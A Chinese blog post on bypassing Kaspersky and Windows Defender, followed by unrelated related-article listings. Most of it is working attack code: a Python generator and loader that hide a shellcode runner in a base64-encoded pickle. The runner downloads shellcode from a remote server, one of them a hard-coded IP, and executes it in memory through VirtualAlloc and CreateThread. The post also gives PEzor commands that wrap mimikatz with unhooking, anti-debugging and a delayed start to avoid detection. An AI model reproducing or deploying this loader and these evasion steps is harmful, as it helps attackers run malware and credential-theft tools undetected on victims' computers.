测试免杀过卡巴斯基和window defender

简介: 测试免杀过卡巴斯基和window defender

测试的时候,好像是都过了.


因为网上的demo已经报毒很多了,然后就想这修改一下.


主要思想


   是运用了反序列化,分离shellcode,敏感函数base64加密eval()执行.


import tkinter as tk
import base64
import ctypes
import urllib.request
import codecs
import pickle
def change():
var=entry.get()
b64=str(base64.b64encode(var.encode("utf-8")), "utf-8")
print(str(b64))
code = """
import codecs,urllib.request,ctypes
code = urllib.request.urlopen('http://vps的ip/code.txt').read()
code = base64.b64decode(code)
code =codecs.escape_decode(code)[0]
code = bytearray(code)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(code)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(code)).from_buffer(code)
string=b'Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgICAgIGN0eXBlcy5jX3VpbnQ2NChwdHIpLCAKICAgICAgICBidWYsIAogICAgICAgIGN0eXBlcy5jX2ludChsZW4oY29kZSkpCiAgICAp'
eval(str(base64.b64decode(string),'utf-8'))
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
class A(object):
def __reduce__(self):
return (exec, (code,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
if __name__ == '__main__':
window = tk.Tk()
window.title("免杀shellcode -雷石安全")
window.geometry('300x60+200+300')
entry = tk.Entry(window, width=40)
entry.pack()
button=tk.Button(window,text='生成',command=change).pack()
window.mainloop()

0333c0e0fd893e500149ef01501ec204_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


第一步:


生成payload


第二步:


0f1d8175d867e0366d7722cee458a9d3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


   放如小框框中,点击生成,会出现两个值:


   第一个值为base64后的需要分离的shellcode,放到服务器中


1e42c19824e4649be0e6915bb8a22d8e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


   用python开一个小服务器(可以去访问看看,通没通).


   第两个值,为我们反序列化后的代码,中间那一群绿绿的代码,都会在我们反序列化的时候自动执行.


   加载器py:

import base64,pickle
shellcode =b'gASV4gMAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFjDAwAACmltcG9ydCBjb2RlY3MsdXJsbGliLnJlcXVlc3QsY3R5cGVzCmNvZGUgPSB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwOi8vNDcuMTEyLjI0Mi43MC9jb2RlLnR4dCcpLnJlYWQoKQpjb2RlID0gYmFzZTY0LmI2NGRlY29kZShjb2RlKQpjb2RlID1jb2RlY3MuZXNjYXBlX2RlY29kZShjb2RlKVswXQpjb2RlID0gYnl0ZWFycmF5KGNvZGUpCgpjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYy5yZXN0eXBlID0gY3R5cGVzLmNfdWludDY0CgpwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludChsZW4oY29kZSkpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQpidWYgPSAoY3R5cGVzLmNfY2hhciAqIGxlbihjb2RlKSkuZnJvbV9idWZmZXIoY29kZSkKICAgIApzdHJpbmc9YidZM1I1Y0dWekxuZHBibVJzYkM1clpYSnVaV3d6TWk1U2RHeE5iM1psVFdWdGIzSjVLQW9nSUNBZ0lDQWdJR04wZVhCbGN5NWpYM1ZwYm5RMk5DaHdkSElwTENBS0lDQWdJQ0FnSUNCaWRXWXNJQW9nSUNBZ0lDQWdJR04wZVhCbGN5NWpYMmx1ZENoc1pXNG9ZMjlrWlNrcENpQWdJQ0FwJwpldmFsKHN0cihiYXNlNjQuYjY0ZGVjb2RlKHN0cmluZyksJ3V0Zi04JykpCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuQ3JlYXRlVGhyZWFkKAogICAgICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICAgICAgY3R5cGVzLmNfaW50KDApLCAKICAgICAgICBjdHlwZXMuY191aW50NjQocHRyKSwgCiAgICAgICAgY3R5cGVzLmNfaW50KDApLCAKICAgICAgICBjdHlwZXMuY19pbnQoMCksIAogICAgICAgIGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQpjdHlwZXMud2luZGxsLmtlcm5lbDMyLldhaXRGb3JTaW5nbGVPYmplY3QoY3R5cGVzLmNfaW50KGhhbmRsZSksY3R5cGVzLmNfaW50KC0xKSkKlIWUUpQu'
#pickle.loads(base64.b64decode(shellcode))
strinq=b'cGlja2xlLmxvYWRzKGJhc2U2NC5iNjRkZWNvZGUoY29kZSkp'
eval(str(base64.b64decode(strinq),'utf-8'))

   带进去生成的第二个值


   直接运行,或者



pyinstaller -F loader.py --noconsole -i 13.ico


   生成exe(内部pyc)文件,当然脚本把它反编译出来pyc,然后查看源码(https://tool.lu/pyc/)不错的网址.


43e76bc7969af364adfdfefad428c3b7_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg


3a79079269456a28391bef7a5546313c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


1c19798515e0252134f7eb12bd20f0e7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


a946f0c1a8e98dfe1c3c17284e0cd160_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


c3d6532785fe26381df11af734f6511a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


补充


   这些显示不够,比如猕猴桃怎么免杀呢?


   推荐一个在红队学院星球看到的项目(当然这个可以在,去特征字符串以后再次加固)

   PEzor

git clone https://github.com/phra/PEzor.git
cd PEzor
sudo bash install.sh
bash PEzor.sh –h

e261a0cf0499dfb93f6fecde0e1d403e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


 安装完会报错


下载https://github.com/EgeBalci/sgn,解压后放入PEzor的目录


然后



export PATH=$PATH:~/go/bin/:/root/dvwa/PEzor:/root/dvwa/PEzor/deps/donut_v0.9.3/:/root/dvwa/PEzor/deps/wclang/_prefix_PEzor_/bin/


注意:/home/dvwa/PEzor,要是自己的路径


而且此命令只在当前shell下有效


a1e9d7cfd2e36f1ea41de4335b33e2c5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


输入后便可以愉快的玩耍了.


比如,休眠120秒上线的mimikatz



PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz.exe  -z 2

相关文章
|
6月前
|
C++
jrtplib开源库系列之一:jrtplib介绍、安装和测试(window 10环境介绍)
关于jrtplib库网上已经有很多介绍,而且目前jrtplib作者已经停止更新(Apr 18, 2020),最新版本为v3.11.2。本系列内容也以该版本进行介绍。 相信你已经对RTP/RTCP协议有一定的了解,并想更深入的了解RTP协议的具体实现,jrtplib就是使用使用C++实现的RTP/RTCP协议。具体标准为RFC3550,如果想仔细阅读原文,但是对英文又有点吃力,可以参考我的博客RTP/RTCP中英文对照,在博客的后面有百度链接,是对RFC3550的中文翻译,可能很多地方不太准确,有些内容是自己添加进去的,希望不会影响你的阅读。
124 0
|
1月前
|
分布式计算 Java 大数据
大数据-122 - Flink Time Watermark Java代码测试实现Tumbling Window
大数据-122 - Flink Time Watermark Java代码测试实现Tumbling Window
32 0
|
测试技术 应用服务中间件 网络安全
【Apache】Apache ab压力测试工具Window下载和用法详解
【Apache】Apache ab压力测试工具Window下载和用法详解
710 0
|
7天前
|
JSON Java 测试技术
SpringCloud2023实战之接口服务测试工具SpringBootTest
SpringBootTest同时集成了JUnit Jupiter、AssertJ、Hamcrest测试辅助库,使得更容易编写但愿测试代码。
35 3
|
1月前
|
JSON 算法 数据可视化
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
这篇文章是关于如何通过算法接口返回的目标检测结果来计算性能指标的笔记。它涵盖了任务描述、指标分析(包括TP、FP、FN、TN、精准率和召回率),接口处理,数据集处理,以及如何使用实用工具进行文件操作和数据可视化。文章还提供了一些Python代码示例,用于处理图像文件、转换数据格式以及计算目标检测的性能指标。
57 0
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
|
2月前
|
移动开发 JSON Java
Jmeter实现WebSocket协议的接口测试方法
WebSocket协议是HTML5的一种新协议,实现了浏览器与服务器之间的全双工通信。通过简单的握手动作,双方可直接传输数据。其优势包括极小的头部开销和服务器推送功能。使用JMeter进行WebSocket接口和性能测试时,需安装特定插件并配置相关参数,如服务器地址、端口号等,还可通过CSV文件实现参数化,以满足不同测试需求。
238 7
Jmeter实现WebSocket协议的接口测试方法
|
2月前
|
JSON 移动开发 监控
快速上手|HTTP 接口功能自动化测试
HTTP接口功能测试对于确保Web应用和H5应用的数据正确性至关重要。这类测试主要针对后台HTTP接口,通过构造不同参数输入值并获取JSON格式的输出结果来进行验证。HTTP协议基于TCP连接,包括请求与响应模式。请求由请求行、消息报头和请求正文组成,响应则包含状态行、消息报头及响应正文。常用的请求方法有GET、POST等,而响应状态码如2xx代表成功。测试过程使用Python语言和pycurl模块调用接口,并通过断言机制比对实际与预期结果,确保功能正确性。
247 3
快速上手|HTTP 接口功能自动化测试
|
1月前
|
JavaScript 前端开发 API
vue尚品汇商城项目-day02【9.Home组件拆分+10.postman测试接口】
vue尚品汇商城项目-day02【9.Home组件拆分+10.postman测试接口】
40 0
|
2月前
|
JavaScript 前端开发 测试技术
ChatGPT与接口测试
ChatGPT与接口测试,测试通过
48 5

热门文章

最新文章